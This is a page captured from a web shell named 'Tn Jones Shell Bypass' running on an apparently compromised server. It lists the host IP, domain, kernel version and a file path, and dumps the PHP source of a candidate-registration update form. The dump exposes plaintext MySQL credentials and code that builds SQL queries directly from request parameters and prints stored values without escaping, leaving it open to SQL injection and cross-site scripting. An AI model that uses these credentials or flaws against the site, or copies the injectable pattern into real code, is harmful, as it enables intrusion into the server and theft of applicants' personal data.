Tn Jones Shell Bypass
:
18.223.209.114
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
www
/
rmpyrll
/
web
/
Upload File:
files >> /home/upgov/www/rmpyrll/web/update_couns.php
<?php include("connection.php"); session_start(); if (!isset($_SESSION['user']) || ($_SESSION['password'] == '')) { header("location:index.php"); exit(); } if(isset($_SESSION['user'])) { $username=$_SESSION['user']; } $user_query = mysql_query("SELECT * FROM loginemp where user='$username' ")or die(mysql_error()); $user_row = mysql_fetch_array($user_query); $username = $user_row['user']; ?> <?php $mysql_hostname = "localhost"; $mysql_user = "ramaregistration"; $mysql_password = "rama@123"; $mysql_database = "ramaregistration"; $prefix = ""; $bd = mysql_connect($mysql_hostname, $mysql_user, $mysql_password) or die("Could not connect database"); mysql_select_db($mysql_database, $bd) or die("Could not select database");?> <?php $msg=""; if(isset($_REQUEST['submit'])) { $ramvalue=$_REQUEST['Empid']; $deptname=$_REQUEST['deptname']; $scheme=$_REQUEST['Scheme']; $district1=$_REQUEST['District']; $Sub_location=$_REQUEST['sub_loction']; $postname=$_REQUEST['postname']; $candidatename=$_REQUEST['candidatename']; $fathername=$_REQUEST['fathername']; $maritalstatus=$_REQUEST['maritalstatus']; $gender=$_REQUEST['gen']; $category=$_REQUEST['Category']; $dob=$_REQUEST['dob']; $age=$_REQUEST['totalage']; $Email_Id=$_REQUEST['Email']; $mobile_no=$_REQUEST['mobile_no1']; $mobile_no2=$_REQUEST['mobile_no2']; $peraddress=$_REQUEST['address']; $percity=$_REQUEST['addressdist']; $perblock=$_REQUEST['aadblock']; $text1=$_REQUEST['aadharcard']; $text2=$_REQUEST['Reference_name']; $status=$_REQUEST['Status']; // start the query $sql2=mysql_query("UPDATE allcounselling SET Department='$deptname',Scheme='$scheme',Sub_location='$Sub_location',District='$district1',Postname='$postname',Name='$candidatename',marital_status='$maritalstatus',FatherName='$fathername',Category='$category',Gender='$gender',Dob='$dob',Totalage='$age',Address='$peraddress',Add_dist='$percity', Email='$Email_Id',Mobile1='$mobile_no',Mobile2='$mobile_no2',Aadharcard='$text1',Reference_name='$text2',Status='$status' where Reg_id='$ramvalue'"); if($sql2==true) { echo "<script>"; echo "location.href='couns_report1.php'"; echo "</script>"; } else { die("Details already Exist in our Record"); $msg='ALready exist'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <title>Rama Login</title> <!-- for-mobile-apps --> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="keywords" content="Lucrative Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" /> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <script type="text/javascript"> function display_c(){ var refresh=1000; // Refresh rate in milli seconds mytime=setTimeout('display_ct()',refresh) } function display_ct() { var strcount var x = new Date() document.getElementById('ct').innerHTML = x; tt=display_c(); } </script> <!--27.5.17 strt--> <!--27.5.17 end--> <!-- //for-mobile-apps --> <link href="css/bootstrap.css" rel="stylesheet" type="text/css" media="all" /> <link href="css/style.css" rel="stylesheet" type="text/css" media="all" /> <!-- js --> <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script> <!-- //js --> <!-- pop-up-box --> <link href="css/popuo-box.css" rel="stylesheet" type="text/css" media="all" /> <!-- //pop-up-box --> <!-- font-awesome icons --> <link href="css/font-awesome.css" rel="stylesheet"> <!-- //font-awesome icons --> <link href="//fonts.googleapis.com/css?family=Work+Sans:100,200,300,400,500,600,700,800,900&subset=latin-ext" rel="stylesheet"> <link href='//fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'> </head> <body onload=display_ct();> <!-- header --> <div class="header"> <div class="container"> <div class="agile_header_grid"> <div class="w3_agile_logo"> <h3><a href="index.html"><span><img src="images/logo.png" height="80px" width="200px"/></span> Welcome : <?php echo $username;?></a></h3> </div> <div class="agileits_w3layouts_sign_in"> <ul> <li><font size="-1" color="orange"><strong><span id='ct' align="right"></span></strong></font></li> </ul> </div> <div class="w3_agileits_nav"> <nav class="navbar navbar-default"> <div class="navbar-header navbar-left"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse navbar-right" id="bs-example-navbar-collapse-1"> </div> </nav> </div> </div> </div> <!-- //header --> <!-- pop-up-box --> <!-- //pop-up-box --> <script src="js/jquery.magnific-popup.js" type="text/javascript"></script> <script> $(document).ready(function() { $('.popup-with-zoom-anim').magnificPopup({ type: 'inline', fixedContentPos: false, fixedBgPos: true, overflowY: 'auto', closeBtnInside: true, preloader: false, midClick: true, removalDelay: 300, mainClass: 'my-mfp-zoom-in' }); }); </script> <div class="col-lg-12"> <br><br> <form method="post" name="birthday" class="register" enctype="multipart/form-data"> <?php echo $msg;?> <fieldset style=" border:2px solid #2A5CAA; -moz-border-radius:20px;-webkit-border-radius:20px;"> <h1 align="right"><center><font color="#2A5CAA" face="andalus"><b>UPDATE FORM</b></font></center> </h1> <table width='100%' style='border:1px solid #2A5CAA;' cellspacing='1' cellpadding='2'> <tr><td colspan="8" style="background-color:#2A5CAA;"><center><span style="color:white;font-weight:bold;font-style:bold;"><strong><font size="3">DEPARTMENT DETAILS</font></strong></span></center> </td></tr> <tr><td colspan="8"><br></td></tr> <tr> <?php $empid=$_REQUEST['id']; $sql2=mysql_query("select * from allcounselling where Reg_id LIKE '$empid'")or die("select * from allcounselling where Reg_id LIKE '$empid'"); if($r = mysql_fetch_array($sql2)) { ?> <td align="center"> <label><b>DEPARTMENT<font color="red">*</font></b> </label> </td><td> <input type='text' style="width:240px;height:30px;" name="deptname" id="deptname" value="<?php echo $r['Department'];?>" > </p> </td> <td align="center"> <label><b>SCHEME <font color="red">*</font> </b> </label> </td><td> <input type='text' style="width:240px;height:30px;" name="Scheme" id="Scheme" value="<?php echo $r['Scheme'];?>"> </td> <td align="center"> <label><b>DISTRICT <font color="red">*</font> </b> </label> </td><td> <input type='text' style="width:240px;height:30px;" name="District" id="District" value='<?php echo $r['District'];?>'> </td> <td align="center"> <label><b>SUBLOCTION <font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="sub_loction" id="sub_loction" value='<?php echo $r['Sub_location'];?>'> </td> </tr> <tr><td colspan="8"><br></td></tr> <tr> <td align="center"> <label><b>POSTNAME <font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="postname" id="postname" value='<?php echo $r['Postname'];?>'> </td> <td align="center"> <label><b>REGISTRATION ID <font color="red">*</font></b> </label></td><td> <input type="text" style="width:240px;height:30px;" autocomplete="OFF" value="<?php echo $r['Reg_id'];?>" readonly name="Empid" id="Empid" required="required" class="long" onchange="javascript:this.value=this.value.toUpperCase();" /> </td> <td align="center"> <label><b>NAME <font color="red">*</font></b> </label></td> <td> <input type="text" style="width:240px;height:30px;" autocomplete="OFF" value="<?php echo $r['Name'];?>" name="candidatename" id="candidatename" class="long" /><span id=name1></span> </td> <td align="center"> <label><b>FATHER / HUSBAND NAME <font color="red">*</font></b> </label></td> <td> <input type="text" style="width:240px;height:30px;" autocomplete="OFF" value="<?php echo $r['FatherName'];?>" name="fathername" id="fathername" class="long" /><span id=name1></span> </td> </tr> <tr><td colspan="8"><br></td></tr> <tr> <td align="center"> <label><b>GENDER<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="gen" id="gen" value='<?php echo $r['Gender'];?>'> </td> <td align="center"> <label><b>CATEGORY<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="Category" id="Category" value='<?php echo $r['Category'];?>'> </td> <td align="center"> <label><b>DATE OF BIRTH<font color="red">*(MM/DD/YYYY)</font></b> </label></td> <td> <input type='text' style="width:240px;height:30px;" name="dob" id="dob" value='<?php echo $r['Dob'];?>'> </td> <td align="center"> <label><b>TOTAL AGE<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="totalage" id="totalage" value='<?php echo $r['Totalage'];?>'> </td> </tr> <tr><td colspan="8"><br></td></tr> <tr> <td align="center"> <label><b>EMAIL ID<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="Email" id="Email" value='<?php echo $r['Email'];?>'> </td> <td align="center"> <label><b>MOBILE No<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="mobile_no1" id="mobile_no1" value='<?php echo $r['Mobile1'];?>'> </td> <td align="center"> <label><b>MOBILE No - 2<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="mobile_no2" id="mobile_no2" value='<?php echo $r['Mobile2'];?>'> </td> <td align="center"> <label><b>ADDRESS<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="address" id="address" value='<?php echo $r['Address'];?>'> </td> </tr> <tr><td colspan="8"><br></td></tr> <tr> <td align="center"> <label><b>ADDRESS DISTRICT<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="addressdist" id="addressdist" value='<?php echo $r['Add_dist'];?>'> </td> <td align="center"> <label><b>MARITAL STATUS<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="maritalstatus" id="maritalstatus" value='<?php echo $r['marital_status'];?>'> </td> <td align="center"> <label><b>AADHAR CARD<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="aadharcard" id="aadharcard" value='<?php echo $r['Aadharcard'];?>'> </td> <td align="center"> <label><b>REFERENCE NAME<font color="red">*</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="Reference_name" id="Reference_name" value='<?php echo $r['Reference_name'];?>'> </td> </tr> <tr><td colspan="8"><br></td></tr> <tr> <td align="center"> <label><b>COUNSELLER_NAME<font color="red">*(MM/DD/YYYY)</font></b> </label></td><td> <input type='text' style="width:240px;height:30px;" name="counseller_name" id="counseller_name" value='<?php echo $r['counseller_name'];?>'> </td> <td align="center"> <label><b>STATUS.<font color="red">*</font></b> </label></td><td> <select style="width:240px;height:30px;" name="Status" id="Status" > <option value='<?php echo $r['Status'];?>'><?php echo $r['Status'];?></option> <option value='COUNSELLED'>COUNSELLED</option> <option value='SELECTED'>SELECTED</option> <option value='UNSELECTED'>UNSELECTED</option> </select> </td> </tr> <tr><td colspan="8"><br></td></tr> <td align="right" colspan="4"> <input type="submit" name="submit" value="UPDATE" id="submit" style="font-weight:bold;width:90px;height:35px;background-color:#2A5CAA;color:white;" /> </td > <td colspan="4"><a href='couns_report1.php'> <input type="Button" name="RESET" value="BACK" id="submit" style="font-weight:bold;width:90px;height:35px;background-color:#2A5CAA;color:white;" /> </a> </td> </tr> <tr><td colspan="4"><br></td></tr> </table> <?php } ?> </fieldset> </div> <div class="clearfix"> </div><br><br> </div> </form> <div class="copyright"> <div align="center"> <p><font color="white">© 2017 Rama Infotech. All Rights Reserved | Design by </font><a href="https://p8.secure.hostingprod.com/@www.ramaipl.com/ssl/">ramaipl.com</a></p> </div> </div> <!-- //footer --> <!-- start-smoth-scrolling --> <script type="text/javascript" src="js/move-top.js"></script> <script type="text/javascript" src="js/easing.js"></script> <script type="text/javascript"> jQuery(document).ready(function($) { $(".scroll").click(function(event){ event.preventDefault(); $('html,body').animate({scrollTop:$(this.hash).offset().top},1000); }); }); </script> <!-- start-smoth-scrolling --> <!-- for bootstrap working --> <script src="js/bootstrap.js"></script> <!-- //for bootstrap working --> <!-- here stars scrolling icon --> <script type="text/javascript"> $(document).ready(function() { /* var defaults = { containerID: 'toTop', // fading element id containerHoverID: 'toTopHover', // fading element hover id scrollSpeed: 1200, easingType: 'linear' }; */ $().UItoTop({ easingType: 'easeOutQuart' }); }); </script> <!-- //here ends scrolling icon --> </body> </html>